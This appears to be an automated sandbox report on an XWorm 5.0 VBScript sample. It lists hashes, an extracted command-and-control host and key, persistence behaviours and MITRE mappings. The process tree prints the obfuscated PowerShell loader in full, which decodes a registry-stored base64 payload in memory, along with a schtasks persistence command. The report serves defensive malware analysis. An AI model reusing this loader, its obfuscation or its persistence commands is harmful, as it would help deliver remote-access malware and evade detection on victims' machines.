Analysis
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max time kernel
1045s -
max time network
1049s -
platform
windows11-21h2_x64 -
resource
win11-20240611-en -
resource tags
arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system -
submitted
21-06-2024 20:31
Static task
static1
Behavioral task
behavioral1
Sample
FUD.vbs
Resource
win11-20240611-en
General
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Target
FUD.vbs
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Size
51KB
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MD5
6b83a09ad13160e0b702975741b3ad05
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SHA1
6176f88ff38e34b19564af965d63c95a9b52ed7a
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SHA256
db947993a090882f53dc6e88e0510d11041a0a5028742db5f93c76061c42b225
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SHA512
b2c187a83f6cc43862bb2c9ab263d57ff6972b12590bf0c04bcf3d83a2aff896f9576540a9868882b5f1af84bdbb2ac04c47feea1a577f92b1a8edd3734a5ded
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SSDEEP
1536:+64QdHCZQwDF9SkelLyAPh0voJKfI2jygScsddWZrv+Vj:+64ACp9reVUvWII2gJdWZT+Vj
Malware Config
Extracted
xworm
5.0
Jamalhacker-53065.portmap.io:23695
kWvWL3qmxl7MyOaZ
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Install_directory
%Userprofile%
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/1200-15-0x0000014A5DFC0000-0x0000014A5DFD0000-memory.dmp family_xworm -
Blocklisted process makes network request 64 IoCs
Processes:
powershell.exeflow pid process 2 1200 powershell.exe 3 1200 powershell.exe 4 1200 powershell.exe 5 1200 powershell.exe 6 1200 powershell.exe 7 1200 powershell.exe 8 1200 powershell.exe 9 1200 powershell.exe 10 1200 powershell.exe 11 1200 powershell.exe 13 1200 powershell.exe 14 1200 powershell.exe 15 1200 powershell.exe 16 1200 powershell.exe 17 1200 powershell.exe 18 1200 powershell.exe 19 1200 powershell.exe 20 1200 powershell.exe 21 1200 powershell.exe 22 1200 powershell.exe 23 1200 powershell.exe 24 1200 powershell.exe 25 1200 powershell.exe 26 1200 powershell.exe 27 1200 powershell.exe 28 1200 powershell.exe 29 1200 powershell.exe 30 1200 powershell.exe 31 1200 powershell.exe 32 1200 powershell.exe 33 1200 powershell.exe 34 1200 powershell.exe 35 1200 powershell.exe 36 1200 powershell.exe 37 1200 powershell.exe 38 1200 powershell.exe 39 1200 powershell.exe 40 1200 powershell.exe 42 1200 powershell.exe 47 1200 powershell.exe 48 1200 powershell.exe 49 1200 powershell.exe 50 1200 powershell.exe 51 1200 powershell.exe 52 1200 powershell.exe 54 1200 powershell.exe 55 1200 powershell.exe 56 1200 powershell.exe 57 1200 powershell.exe 58 1200 powershell.exe 59 1200 powershell.exe 60 1200 powershell.exe 61 1200 powershell.exe 63 1200 powershell.exe 64 1200 powershell.exe 65 1200 powershell.exe 66 1200 powershell.exe 67 1200 powershell.exe 68 1200 powershell.exe 69 1200 powershell.exe 70 1200 powershell.exe 71 1200 powershell.exe 72 1200 powershell.exe 73 1200 powershell.exe -
Drops startup file 4 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs powershell.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk powershell.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
Windows backuppid process 2952 Windows backup -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1560405787-796225086-678739705-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows backup = "C:\\Users\\Admin\\Windows backup" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exeWindows backuppid process 1200 powershell.exe 1200 powershell.exe 2952 Windows backup 2952 Windows backup -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exeWindows backupdescription pid process Token: SeDebugPrivilege 1200 powershell.exe Token: SeDebugPrivilege 1200 powershell.exe Token: SeDebugPrivilege 2952 Windows backup -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 864 wrote to memory of 1200 864 WScript.exe powershell.exe PID 864 wrote to memory of 1200 864 WScript.exe powershell.exe PID 1200 wrote to memory of 2792 1200 powershell.exe schtasks.exe PID 1200 wrote to memory of 2792 1200 powershell.exe schtasks.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:864 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\FUD.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs'; $demitone = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $demitone = -join $demitone[-1..-$demitone.Length];[<##>AppDomain<##>]::<##>('ipsedixitishurrentDomain'.replace('ipsedixitish','C'))<##>.<##>('bulblessoad'.replace('bulbless','L'))([Convert]::FromBase64String($demitone))<##>.<##>('absolutisticallyntryPoint'.replace('absolutistically','E'))<##>.<##>('Inmingleableoke'.replace('mingleable','v'))($Null,$Null)<##>;2⤵
- Blocklisted process makes network request
- Drops startup file
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows backup" /tr "C:\Users\Admin\Windows backup"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2792
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C:\Users\Admin\Windows backup"C:\Users\Admin\Windows backup"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2952
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
62KB
MD5e566632d8956997225be604d026c9b39
SHA194a9aade75fffc63ed71404b630eca41d3ce130e
SHA256b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
SHA512f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
440KB
MD50e9ccd796e251916133392539572a374
SHA1eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA256c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
SHA512e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d